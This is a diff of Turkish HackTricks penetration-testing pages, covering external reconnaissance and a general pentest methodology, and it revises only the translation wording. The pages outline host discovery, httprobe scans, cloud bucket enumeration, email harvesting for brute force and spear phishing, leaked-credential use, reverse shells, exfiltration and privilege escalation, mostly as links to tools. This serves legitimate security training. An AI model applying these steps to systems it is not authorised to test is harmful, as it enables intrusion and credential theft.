kullanarak) ve **nmap/masscan/shodan** ile bazı [**port taraması**](../pentesting-network/#discovering-hosts-from-the-outside) yapmalısınız. Hangi hizmetlerin çalıştığını bulabilir ve **bu kitapta onlara "saldırmak" için bazı püf noktaları bulabilirsiniz**.\ +_Not: Bazı durumlarda alt alan adının, müşteri tarafından kontrol edilmeyen bir IP içinde barındırıldığını unutmayın, bu nedenle kapsamda değildir, dikkatli olun._ ## IP'ler Başlangıç adımlarında **bazı IP aralıkları, alan adları ve alt alan adları bulmuş olabilirsiniz**.\ Bu aralıklardan **tüm IP'leri ve alan adları/alt alan adlarını (DNS sorguları)** toplama zamanı geldi. -Aşağıdaki **ücretsiz api'lerin hizmetlerini kullanarak** ayrıca **alan adları ve alt alan adları tarafından kullanılan önceki IP'leri** bulabilirsiniz. Bu IP'ler hala müşteriye ait olabilir (ve size [**CloudFlare atlatmaları**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza izin verebilir) +Aşağıdaki **ücretsiz api'lerin hizmetlerini kullanarak**, ayrıca **alan adları ve alt alan adları tarafından kullanılan önceki IP'leri** bulabilirsiniz. Bu IP'ler hala müşteriye ait olabilir (ve size [**CloudFlare atlatmaları**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md) bulmanıza izin verebilir) * [**https://securitytrails.com/**](https://securitytrails.com/) @@ -489,7 +489,7 @@ Ayrıca, [**hakip2host**](https://github.com/hakluke/hakip2host) aracını kulla ### **Zaafiyet Arayışı** -CDN'lere ait olmayan tüm IP'leri **port taraması yapın** (muhtemelen orada ilginç bir şey bulamayacaksınız). Keşfedilen çalışan hizmetlerde **zayıflıklar bulabilirsiniz**. +CDN'lere ait olmayan tüm IP'leri **port taraması yapın** (muhtemelen ilginç bir şey bulamayacaksınız). Keşfedilen çalışan hizmetlerde **zayıflıklar bulabilirsiniz**. **Ana bilgisayarları nasıl taramanız gerektiği** hakkında bir [**kılavuz**](../pentesting-network/) **bulun.** @@ -497,12 +497,12 @@ CDN'lere ait olmayan tüm IP'leri **port taraması yapın** (muhtemelen orada il > Tüm şirketleri ve varlıklarını bulduk ve IP aralıklarını, alan adlarını ve kapsamdaki alt alan adlarını biliyoruz. Artık web sunucularını aramak zamanı geldi. -Önceki adımlarda muhtemelen keşfedilen IP'lerin ve alan adlarının keşfini zaten yapmış olabilirsiniz, bu yüzden muhtemelen **tüm olası web sunucuları** zaten bulmuş olabilirsiniz. Ancak, bulamadıysanız şimdi kapsam içindeki web sunucularını aramak için bazı **hızlı ipuçları** göreceğiz. +Önceki adımlarda muhtemelen keşfedilen IP'lerin ve alan adlarının **keşfini zaten yapmış olabilirsiniz**, bu nedenle muhtemelen **tüm olası web sunucuları zaten bulmuş olabilirsiniz**. Ancak, bulamadıysanız, şimdi kapsam içindeki web sunucularını aramak için **hızlı ipuçları** göreceğiz. -Lütfen, bu **web uygulamaları keşfi için yönlendirilecektir**, bu yüzden **izin verildiği takdirde** **zayıflık** ve **port taraması** da yapmalısınız. +Lütfen, bu **web uygulamaları keşfi için yönlendirilecektir**, bu nedenle **izin verildiği takdirde** **zayıflık** ve **port taraması** da yapmalısınız. -**Web** sunucularıyla ilgili **açık portları keşfetmek için hızlı bir yöntem** [**burada masscan** bulunabilir](../pentesting-network/#http-port-discovery).\ -Başka bir dost araç web sunucularını aramak için [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx). Sadece bir alan adları listesi geçirin ve 80 (http) ve 443 (https) bağlanmaya çalışacaktır. Ayrıca, diğer portları denemek için belirtebilirsiniz: +[**masscan ile ilişkili açık portları keşfetmek için hızlı bir yöntem burada bulunabilir**](../pentesting-network/#http-port-discovery).\ +Başka bir dostça araç web sunucularını aramak için [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) ve [**httpx**](https://github.com/projectdiscovery/httpx) bulunmaktadır. Bir alan adları listesi geçirirsiniz ve 80 (http) ve 443 (https) bağlanmaya çalışır. Ayrıca, diğer portları denemek için belirtebilirsiniz: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 @@ -511,9 +511,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a Artık kapsamdaki **tüm web sunucularını** keşfettiğinize göre (şirketin **IP'leri** ve tüm **alan adları** ve **alt alan adları** arasında) muhtemelen **nereden başlayacağınızı bilmiyorsunuzdur**. Bu yüzden, basit tutarak hepsinin ekran görüntülerini almaya başlayalım. **Ana sayfaya** bir göz atarak daha **garip** uç noktalar bulabilir ve bunların daha **savunmasız** olma olasılığı daha yüksektir. -Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** kullanabilirsiniz.** +Önerilen fikri gerçekleştirmek için [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) veya [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**'ı** kullanabilirsiniz. -Ayrıca, daha sonra [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm **ekran görüntülerini** tarayarak size **olası olarak zafiyet içerenleri** ve olmayanları söylemesini sağlayabilirsiniz. +Ayrıca, daha sonra [**eyeballer**](https://github.com/BishopFox/eyeballer) kullanarak tüm **ekran görüntülerini** çalıştırarak size **olası savunmasızlıklar içerdiğini** ve içermediğini söylemesini sağlayabilirsiniz. ## Genel Bulut Varlıkları @@ -525,28 +525,28 @@ Ayrıca, **kova**larda kullanılan yaygın kelimelerin listelerine ihtiyacınız * [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) * [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt) -Daha sonra, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](./#second-dns-bruteforce-round) kontrol edin). +Ardından, bu kelimelerle **permutasyonlar** oluşturmalısınız (daha fazla bilgi için [**İkinci Tur DNS Kaba Kuvvet**](./#second-dns-bruteforce-round)'e bakın). -Elde edilen kelime listeleriyle [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) veya [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz.** +Elde edilen kelime listeleriyle [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**, [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**, [**cloudlist**](https://github.com/projectdiscovery/cloudlist) veya [**S3Scanner**](https://github.com/sa7mon/S3Scanner)** gibi araçları kullanabilirsiniz. Bulut Varlıklarını ararken **AWS'deki kovalardan daha fazlasını aramalısınız**. -### **Zafiyetler Aranıyor** +### **Savunmasızlıkları Arama** -**Açık kovalar veya açığa çıkarılan bulut işlevleri** gibi şeyler bulursanız, onlara **erişmeli** ve size ne sunduklarını ve bunları kötüye kullanıp kullanamayacağınızı görmelisiniz. +**Açık kovalar veya açık bulut fonksiyonları gibi şeyler bulursanız**, onlara **erişmeli** ve size ne sunduklarını ve bunları kötüye kullanıp kullanamayacağınızı görmelisiniz. ## E-postalar -Kapsamdaki **alan adları** ve **alt alan adları** ile temelde e-posta aramaya başlamak için ihtiyacınız olan her şeye sahipsiniz. Bir şirketin e-postalarını bulmak için en iyi çalışan **API'ler** ve **araçlar** şunlardır: +Kapsamdaki **alan adları** ve **alt alan adları** ile temelde **e-posta aramaya başlamak için ihtiyacınız olan her şeye sahipsiniz**. Bir şirketin e-postalarını bulmak için benim için en iyi çalışan **API'ler** ve **araçlar** şunlardır: * [**theHarvester**](https://github.com/laramies/theHarvester) - API'lerle * [**https://hunter.io/**](https://hunter.io/) (ücretsiz sürüm) API'si * [**https://app.snov.io/**](https://app.snov.io/) (ücretsiz sürüm) API'si * [**https://minelead.io/**](https://minelead.io/) (ücretsiz sürüm) API'si -### **Zafiyetler Aranıyor** +### **Savunmasızlıkları Arama** -E-postalar daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (örneğin SSH) kaba kuvvet saldırıları yapmak için kullanışlı olacaktır. Ayrıca, **spear phishing** için gereklidirler. Ayrıca, bu API'lar size e-posta arkasındaki kişi hakkında daha fazla **bilgi verecektir**, bu da phishing kampanyası için faydalıdır. +E-postalar daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (örneğin SSH) **kaba kuvvet uygulamak** için kullanışlı olacaktır. Ayrıca, **spear phishing** için gereklidir. Ayrıca, bu API'lar size e-posta arkasındaki kişi hakkında daha fazla **bilgi verecektir**, bu da phishing kampanyası için faydalıdır. ## Kimlik Bilgisi Sızıntıları @@ -555,39 +555,39 @@ E-postalar daha sonra **web girişlerini ve kimlik doğrulama hizmetlerini** (ö * [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://www.dehashed.com/](https://www.dehashed.com/) -### **Zafiyetler Aranıyor** +### **Savunmasızlıkları Arama** Eğer **geçerli sızdırılmış** kimlik bilgileri bulursanız, bu çok kolay bir kazanç olacaktır. -## Sır Sızıntıları +## Sırların Sızıntıları -Kimlik bilgisi sızıntıları, şirketlerin **duyarlı bilgilerin sızdırıldığı ve satıldığı** hack'lerle ilgilidir. Ancak, şirketlerin o veritabanlarında olmayan başka sızıntılardan etkilenebileceğini unutmamalısınız: +Kimlik bilgisi sızıntıları, **duyarlı bilgilerin sızdırıldığı ve satıldığı** şirket hack'leri ile ilgilidir. Ancak, şirketler, o veritabanlarında olmayan başka sızıntılardan da etkilenebilir: ### Github Sızıntıları -Kimlik bilgileri ve API'lar **şirketin** veya o github şirketinde çalışan **kullanıcıların** **genel depolarında** sızdırılmış olabilir.\ +Kimlik bilgileri ve API'lar, **şirketin** veya **github şirketi tarafından çalışan kullanıcıların** **genel depolarında** sızdırılmış olabilir.\ [**Leakos**](https://github.com/carlospolop/Leakos) aracını kullanarak bir **kuruluşun** ve **geliştiricilerinin** tüm **genel depolarını indirip** otomatik olarak üzerlerinde [**gitleaks**](https://github.com/zricethezav/gitleaks) çalıştırabilirsiniz. -**Leakos** ayrıca bazen **web sayfalarının da sırlar içerdiği** için tüm **URL'leri** üzerinden **gitleaks** çalıştırmak için de kullanılabilir. +**Leakos**, bazen **web sayfaları da sırlar içerdiği için** onlara geçirilen **URL'leri çalıştırmak** için de kullanılabilir. #### Github Dorks -Saldırganlar veya çalışanlar bazen **şirket içeriğini bir yapıştırma sitesinde yayınlarlar**. Bu **duyarlı bilgileri** içerebilir veya içermeyebilir, ancak aramak çok ilginç olabilir.\ +Saldırganlar veya çalışanlar bazen **şirket içeriğini bir yapıştırma sitesinde yayınlarlar**. Bu **duyarlı bilgileri** içerebilir veya içermeyebilir, ancak aramak çok ilginç olacaktır.\ [**Pastos**](https://github.com/carlospolop/Pastos) aracını kullanarak aynı anda 80'den fazla yapıştırma sitesinde arama yapabilirsiniz. ### Google Dorks -Eski ama altın google dorks her zaman **orada olmamaları gereken bilgileri bulmak** için kullanışlıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in çalıştıramayacağınız birkaç bin olası sorgu içermesidir. Bu yüzden favori 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç kullanabilirsiniz.** +Eski ama altın google dorks her zaman **orada olmamaları gereken bilgileri bulmak** için kullanışlıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in çalıştıramayacağınız birkaç bin olası sorgu içermesidir. Bu yüzden favori 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç kullanabilirsiniz**. -_Unutmayın, düzenli Google tarayıcısını kullanarak tüm veritabanını çalıştırmayı bekleyen araçlar çok uzun sürecek ve Google sizi çok kısa sürede engelleyecektir._ +_Not: Google tarayıcısını kullanarak tüm veritabanını çalıştırmayı bekleyen araçlar çok kısa sürede engellenecektir._ -### **Zafiyetler Aranıyor** +### **Savunmasızlıkları Arama** Eğer **geçerli sızdırılmış** kimlik bilgileri veya API belirteçleri bulursanız, bu çok kolay bir kazanç olacaktır. -## Genel Kod Zafiyetleri +## Genel Kod Güvenlik Açıkları -Şirketin **açık kaynak koduna** sahip olduğunu tespit ettiyseniz, bunu **analiz edebilir** ve üzerinde **zafiyetler** arayabilirsiniz. +Şirketin **açık kaynak kodu** olduğunu tespit ettiyseniz, onu **analiz edebilir** ve üzerinde **güvenlik açıkları** arayabilirsiniz. **Dile bağlı olarak** farklı **araçlar** kullanabilirsiniz: @@ -595,34 +595,34 @@ Eğer **geçerli sızdırılmış** kimlik bilgileri veya API belirteçleri bulu [code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) {% endcontent-ref %} -Ayrıca, şunlar gibi ücretsiz hizmetlerle **genel depoları tarayabilirsiniz**: +Ayrıca, şunun gibi ücretsiz hizmetlerle **genel depoları tarayabilirsiniz**: * [**Snyk**](https://app.snyk.io/) -## [**Web Uygulama Test Metodolojisi**](../../network-services-pentesting/pentesting-web/) +## [**Web Sızma Testi Metodolojisi**](../../network-services-pentesting/pentesting-web/) -**Çoğu zayıflık**, avcılar tarafından bulunan yerlerde **web uygulamalarında** bulunur, bu nedenle bu noktada bir **web uygulama test metodolojisi** hakkında konuşmak istiyorum ve [**bu bilgiyi burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/). +**Hata avcıları** tarafından bulunan **çoğu zayıflık**, **web uygulamalarının** içinde bulunur, bu noktada **bir web uygulaması testi metodolojisi** hakkında konuşmak istiyorum ve [**bu bilgiyi burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/). -Ayrıca, [**Web Otomatik Tarama Açık Kaynaklı Araçlar**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir vurgu yapmak istiyorum, çünkü çok hassas zayıflıkları bulmalarını beklememelisiniz, ancak **bazı başlangıç web bilgilerini elde etmek için iş akışlarına uygulamak için faydalıdırlar.** +Ayrıca, [**Web Otomatik Tarama açık kaynaklı araçları**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir vurgu yapmak istiyorum, çünkü çok hassas zayıflıkları bulmalarını beklememelisiniz, ancak **bazı başlangıç web bilgilerini elde etmek için iş akışlarına uygulamak için faydalıdırlar.** ## Özet -> Tebrikler! Bu noktada zaten **tüm temel numaralandırmayı** gerçekleştirdiniz. Evet, temel çünkü daha fazla numaralandırma yapılabilir (daha sonra daha fazla hile göreceğiz). +> Tebrikler! Bu noktada **tüm temel numaralandırmayı** zaten gerçekleştirdiniz. Evet, temel çünkü daha fazla numaralandırma yapılabilir (daha sonra daha fazla hile göreceğiz). Şimdiye kadar şunları yaptınız: 1. Kapsam içindeki **tüm şirketleri** buldunuz 2. Şirketlere ait **tüm varlıkları** buldunuz (ve kapsam içindeyse bazı zayıflık taraması yaptınız) 3. Şirketlere ait **tüm alan adlarını** buldunuz -4. Alan adlarının tüm **alt alan adlarını** buldunuz (herhangi bir alt alan adı ele geçirme?) +4. Alan adlarının **tüm alt alanlarını** buldunuz (herhangi bir alt alan ele geçirme?) 5. Kapsam içindeki **CDN'lerden ve olmayan IP'leri** buldunuz. -6. Tüm **web sunucularını** buldunuz ve onların **ekran görüntüsünü** aldınız (derinlemesine bakmaya değer garip bir şey var mı?) +6. **Web sunucularını** buldunuz ve onların **ekran görüntüsünü** aldınız (derinlemesine bakmaya değer garip bir şey var mı?) 7. Şirkete ait **potansiyel halka açık bulut varlıklarını** buldunuz. 8. Size **kolayca büyük bir kazanç sağlayabilecek** **e-postaları**, **kimlik bilgileri sızıntılarını** ve **gizli sızıntıları** buldunuz. -9. Bulduğunuz tüm web sitelerini **pentest ettiniz** +9. Bulduğunuz tüm web sitelerini **sızdırdınız** ## **Tam Kapsamlı Otomatik Araçlar** -Verilen bir kapsam için önerilen eylemlerin bir kısmını gerçekleştirecek birçok araç bulunmaktadır. +Belirli bir kapsam karşısında önerilen eylemlerin bir kısmını gerçekleştirecek birçok araç bulunmaktadır. * [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) * [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) @@ -633,7 +633,7 @@ Verilen bir kapsam için önerilen eylemlerin bir kısmını gerçekleştirecek * [**@Jhaddix**](https://twitter.com/Jhaddix) tarafından sunulan tüm ücretsiz kurslar, örneğin [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) -
+
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). @@ -641,14 +641,14 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
-Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek destekleyin. +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek destek olun.
diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index 1cbf28464..1482cfcfd 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -2,21 +2,21 @@
-AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com) +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
-
+
-Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşulan gereklidir_). +Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_). {% embed url="https://www.stmcyber.com/careers" %} @@ -32,7 +32,7 @@ Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? [**Fiziksel s ### 1 - [Ağdaki ana bilgisayarları keşfetme](pentesting-network/#discovering-hosts)/ [Şirketin Varlıklarını Keşfetme](external-recon-methodology/) -**Yapacağınız testin** **içsel veya dışsal bir test olup olmadığına bağlı olarak**, **şirket ağındaki ana bilgisayarları** (içsel test) veya **şirketin internet üzerindeki varlıklarını** (dışsal test) bulmak isteyebilirsiniz. +**Yaptığınız testin** **içsel veya dışsal bir test** olmasına bağlı olarak, **şirket ağındaki ana bilgisayarları** (içsel test) veya **şirketin internet üzerindeki varlıklarını** (dışsal test) bulmak isteyebilirsiniz. {% hint style="info" %} Dışsal bir test gerçekleştiriyorsanız, şirketin iç ağına erişmeyi başardığınızda bu kılavuzu yeniden başlatmanız gerekebilir. @@ -41,11 +41,11 @@ Dışsal bir test gerçekleştiriyorsanız, şirketin iç ağına erişmeyi baş ### **2-** [**Ağla Eğlenmek**](pentesting-network/) **(İçsel)** **Bu bölüm yalnızca içsel bir test gerçekleştiriyorsanız geçerlidir.**\ -Bir ana bilgisayara saldırmadan önce belki de **ağdan bazı kimlik bilgileri çalmayı** veya ağ içinde ne bulabileceğinizi **pasif/aktif (MitM)** öğrenmek için bazı **verileri** **sızdırmayı** tercih edersiniz. [**Pentesting Network**](pentesting-network/#sniffing)'ü okuyabilirsiniz. +Bir ana bilgisayara saldırmadan önce belki de **ağdan bazı kimlik bilgileri çalmayı** veya ağ içinde ne bulabileceğinizi **pasif/aktif (MitM)** öğrenmek için bazı **verileri** **sızdırmayı** tercih edersiniz. [**Ağın Pentest Edilmesi**](pentesting-network/#sniffing) bölümünü okuyabilirsiniz. ### 3- [Port Taraması - Servis keşfi](pentesting-network/#scanning-hosts) -Bir **ana bilgisayardaki zafiyetleri ararken ilk yapmanız gereken şey**, hangi **servislerin hangi portlarda çalıştığını bilmektir.** [**Ana bilgisayarların portlarını taramak için temel araçlara bakalım**](pentesting-network/#scanning-hosts). +Bir **ana bilgisayardaki zafiyetleri ararken** yapılması gereken ilk şey, hangi **servislerin hangi portlarda çalıştığını bilmektir.** [**Ana bilgisayarların portlarını taramak için temel araçlara bakalım**](pentesting-network/#scanning-hosts). ### **4-** [Servis sürümü açıklarını arama](search-exploits.md) @@ -53,22 +53,22 @@ Bir **ana bilgisayardaki zafiyetleri ararken ilk yapmanız gereken şey**, hangi ### **5-** Servislerin Pentest Edilmesi -Çalışan herhangi bir servis için şık bir açık yoksa, **her serviste yaygın yapılandırmaları aramalısınız.** +Çalışan herhangi bir servis için şık bir açık yoksa, her çalışan serviste **ortak yapılandırmaları aramalısınız.** -**Bu kitap içinde en yaygın servisleri pentest etme kılavuzunu bulacaksınız** (ve diğer yaygın olmayanları)**. Lütfen sol indekste** _**PENTESTING**_ **bölümünü arayın** (servisler varsayılan portlarına göre sıralanmıştır). +**Bu kitap içinde en yaygın servisleri pentest etme kılavuzunu bulacaksınız** (ve diğer yaygın olmayanları)**. Lütfen, sol indekste** _**PENTESTING**_ **bölümünü arayın** (servisler varsayılan portlarına göre sıralanmıştır). -**Özellikle [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **bölümüne özel bir vurgu yapmak istiyorum (çünkü en kapsamlı olanıdır).**\ -Ayrıca, [**yazılımlardaki bilinen zafiyetleri nasıl bulacağınıza dair küçük bir kılavuz burada bulunabilir**](search-exploits.md). +**Özellikle [**Pentesting Web**](../network-services-pentesting/pentesting-web/) bölümüne** dikkat çekmek istiyorum (çünkü en kapsamlı olanıdır).**\ +Ayrıca, [**yazılımlardaki bilinen zafiyetleri nasıl bulacağınıza dair küçük bir kılavuz burada bulunabilir.**](search-exploits.md) -**Servisiniz indekste yoksa, Google'da arayın** başka rehberler ve **eklememi isterseniz bana bildirin.** Google'da **hiçbir şey bulamazsanız**, kendi **kör pentestinizi** gerçekleştirin, servise **bağlanmaya başlayarak, onu fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa). +**Servisiniz indekste yoksa, Google'da arayın** diğer öğreticiler için ve **eklememi isterseniz bana bildirin.** Google'da **hiçbir şey bulamazsanız**, kendi **kör pentestinizi** gerçekleştirin, servise **bağlanmaya başlayarak, onu fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa). #### 5.1 Otomatik Araçlar -**Otomatik zafiyet değerlendirmeleri** gerçekleştirebilecek birkaç araç da bulunmaktadır. **Size** [**Legion**](https://github.com/carlospolop/legion)**'ı denemenizi tavsiye ederim**, bu araç, bu kitapta bulabileceğiniz servisler hakkındaki notlara dayanmaktadır. +**Otomatik zafiyet değerlendirmeleri** gerçekleştirebilen birkaç araç da bulunmaktadır. **Size** [**Legion**](https://github.com/carlospolop/legion)**'ı denemenizi tavsiye ederim**, bu araç, bu kitapta bulabileceğiniz servislerin pentest notlarına dayanmaktadır. #### **5.2 Servislerin Kaba Kuvvet Saldırısı** -Bazı senaryolarda bir **Kaba Kuvvet Saldırısı**, bir **servisi ele geçirmek** için **yararlı olabilir**. [**Farklı servislerin kaba kuvvet saldırısı hakkında bir Hile Sayfası bulun**](brute-force.md)**.** +Bazı senaryolarda bir **Kaba Kuvvet Saldırısı**, bir **servisi ele geçirmek** için yararlı olabilir. [**Farklı servislerin kaba kuvvet saldırısına yönelik bir Hile Sayfasını burada bulabilirsiniz**](brute-force.md)**.** ### 6- [Phishing](phishing-methodology/) @@ -76,13 +76,13 @@ Bu noktada ilginç bir zafiyet bulamadıysanız, ağa girmek için bazı **phish ### **7-** [**Shell Almak**](shells/) -Herhangi bir şekilde kurbanın içinde **kod çalıştırmak için bir yol bulmuş olmalısınız.** Ardından, **ters shell almak için kullanabileceğiniz olası araçların bir listesi çok faydalı olacaktır** (shells/). +Herhangi bir şekilde kurbanın içinde kod **yürütebileceğiniz bir yol bulmuş olmalısınız.** Ardından, bir ters shell almak için kullanabileceğiniz **sistem içindeki olası araçların listesi çok faydalı olacaktır** (shells/). Özellikle Windows'ta **antivirüsleri atlatmaya yardıma ihtiyacınız olabilir**: [**Bu sayfaya göz atın**](../windows-hardening/av-bypass.md)**.**\\ ### 8- İçeride -Shell ile sorun yaşıyorsanız, pentesterlar için en kullanışlı komutların küçük bir **derlemesini burada bulabilirsiniz**: +Shell ile sorun yaşıyorsanız, pentesterlar için en **faydalı komutların küçük bir derlemesini burada bulabilirsiniz**: * [**Linux**](../linux-hardening/useful-linux-commands/) * [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) @@ -90,37 +90,37 @@ Shell ile sorun yaşıyorsanız, pentesterlar için en kullanışlı komutların ### **9 -** [**Veri Sızdırma**](exfiltration.md) -Muhtemelen **kurbandan bazı verileri çıkarmak** veya hatta **bir şeyler eklemek** (ayrıcalık yükseltme betikleri gibi). **Bu amaçlarla kullanabileceğiniz yaygın araçlar hakkında bir** [**gönderi burada bulunabilir**](exfiltration.md)**.** -### **10- Ayrıcalık Yükseltme** +Kurbanın içinden **bazı verileri çıkarmak** veya hatta **bir şeyler eklemek** (ayrıcalık yükseltme betikleri gibi). **Bu amaçlarla kullanabileceğiniz yaygın araçlar hakkında bir** [**gönderi burada bulunabilir**](exfiltration.md)**.** +### **10- Yetki Yükseltme** -#### **10.1- Yerel Ayrıcalık Yükseltme** +#### **10.1- Yerel Yetki Yükseltme** -Eğer kutunun içinde **root/Yönetici değilseniz**, ayrıcalıkları **yükseltmek için bir yol bulmalısınız.**\ -Burada, [**Linux**](../linux-hardening/privilege-escalation/) **ve** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **içinde yerel olarak ayrıcalıkları yükseltmek için bir rehber bulabilirsiniz.**\ -Ayrıca, **Windows'un nasıl çalıştığı** hakkında bu sayfaları kontrol etmelisiniz: +Eğer kutunun içinde **root/Administrator değilseniz**, **yetkileri yükseltmek için bir yol bulmalısınız.**\ +Burada [**Linux**](../linux-hardening/privilege-escalation/) **ve** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **içinde yerel olarak yetkileri yükseltmek için bir rehber bulabilirsiniz.**\ +Ayrıca **Windows'un nasıl çalıştığı** hakkında bu sayfaları kontrol 